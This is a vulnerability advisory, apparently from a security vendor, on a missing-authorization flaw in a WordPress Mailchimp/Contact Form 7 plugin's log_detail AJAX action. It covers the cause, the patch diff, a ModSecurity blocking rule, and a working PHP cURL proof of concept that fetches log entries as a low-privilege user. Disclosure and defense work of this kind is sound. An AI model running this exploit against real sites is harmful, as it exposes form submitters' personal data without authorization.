Atomic Edge analysis of CVE-2026-25430:
This vulnerability is a Missing Authorization flaw in the Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms WordPress plugin. The flaw allows any authenticated user, including those with Subscriber-level permissions, to perform an unauthorized action intended for administrators. The CVSS score of 4.3 reflects a medium-severity impact.
Atomic Edge research identifies the root cause in the `log_detail()` function within the file `cf7-mailchimp/includes/plugin-pages.php`. The function, which handles AJAX requests for viewing detailed log entries, lacked any capability or nonce check before version 1.2.3. The function directly accessed user-provided input via `$this->post(‘id’)` to retrieve and display log data without verifying the requesting user’s authorization.
The exploitation vector is a WordPress AJAX action. An attacker with a valid WordPress authentication cookie (Subscriber or higher) can send a POST request to `/wp-admin/admin-ajax.php`. The request must set the `action` parameter to `vxcf_mailchimp_log_detail`, which corresponds to the hooked `log_detail()` function. The attacker must also provide the `id` parameter specifying the target log entry to retrieve. No nonce is required in the vulnerable version.
The patch adds a single security check on line 1419 of `plugin-pages.php`. The code `check_ajax_referer(‘vx_crm_ajax’,’vx_crm_ajax’);` was inserted. This WordPress function verifies the presence and validity of a nonce security token named `vx_crm_ajax` in the AJAX request. This change ensures the request originates from a legitimate plugin page where the nonce was generated, effectively blocking unauthorized direct AJAX calls. The plugin version was updated from 1.2.2 to 1.2.3.
Successful exploitation leads to unauthorized information disclosure. Attackers can access detailed log data from the plugin, which may contain sensitive information submitted through integrated forms. This data could include personal identifiable information (PII) or other confidential details that should only be accessible to site administrators.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/cf7-mailchimp/cf7-mailchimp.php
+++ b/cf7-mailchimp/cf7-mailchimp.php
@@ -2,7 +2,7 @@
/**
* Plugin Name: WP Contact Form Mailchimp
* Description: Integrates Contact Form 7, <a href="https://wordpress.org/plugins/contact-form-entries/">Contact Form Entries Plugin</a> and many other forms with Mailchimp allowing form submissions to be automatically sent to your Mailchimp account
-* Version: 1.2.2
+* Version: 1.2.3
* Author URI: https://www.crmperks.com
* Plugin URI: https://www.crmperks.com/plugins/contact-form-plugins/contact-form-mailchimp-plugin/
* Author: CRM Perks.
@@ -24,7 +24,7 @@
public $crm_name = "mailchimp";
public $id = "vxcf_mailchimp";
public $domain = "vxcf-mailchimp";
- public $version = "1.2.2";
+ public $version = "1.2.3";
public $update_id = "6000001";
public $min_cf_version = "1.0";
public $type = "vxcf_mailchimp";
--- a/cf7-mailchimp/includes/plugin-pages.php
+++ b/cf7-mailchimp/includes/plugin-pages.php
@@ -1416,6 +1416,7 @@
*
*/
public function log_detail(){
+ check_ajax_referer('vx_crm_ajax','vx_crm_ajax');
$log_id=$this->post('id');
$log=$this->data->get_log_by_id($log_id);
$data=json_decode($log['data'],true);
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-25430
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:100025430,phase:2,deny,status:403,chain,msg:'CVE-2026-25430 via WP Contact Form Mailchimp AJAX - Missing Authorization',severity:'MEDIUM',tag:'CVE-2026-25430',tag:'WordPress',tag:'Plugin',tag:'Missing-Authorization'"
SecRule ARGS_POST:action "@streq vxcf_mailchimp_log_detail" "chain"
SecRule &ARGS_POST:vx_crm_ajax "@eq 0" "t:none"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25430 - Integration for Mailchimp and Contact Form 7, WPForms, Elementor, Ninja Forms <= 1.2.2 - Missing Authorization
<?php
// Configuration
$target_url = 'https://vulnerable-site.com/wp-admin/admin-ajax.php';
$cookie = 'wordpress_logged_in_abc=...'; // Replace with a valid Subscriber+ auth cookie
// Initialize cURL session
$ch = curl_init();
// Set the target URL
curl_setopt($ch, CURLOPT_URL, $target_url);
// Use POST method
curl_setopt($ch, CURLOPT_POST, 1);
// Set the POST data for the exploit.
// The 'action' parameter triggers the vulnerable log_detail() function.
// The 'id' parameter specifies which log entry to retrieve.
$postData = array(
'action' => 'vxcf_mailchimp_log_detail',
'id' => '1' // Target log ID. Adjust based on target data.
);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
// Set the authentication cookie to act as a logged-in user
$headers = array(
'Cookie: ' . $cookie
);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
// Return the response as a string
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute the request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
echo 'cURL Error: ' . curl_error($ch);
} else {
echo 'Response Code: ' . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "nn";
echo 'Response Body:n';
echo $response;
}
// Close cURL session
curl_close($ch);
?>
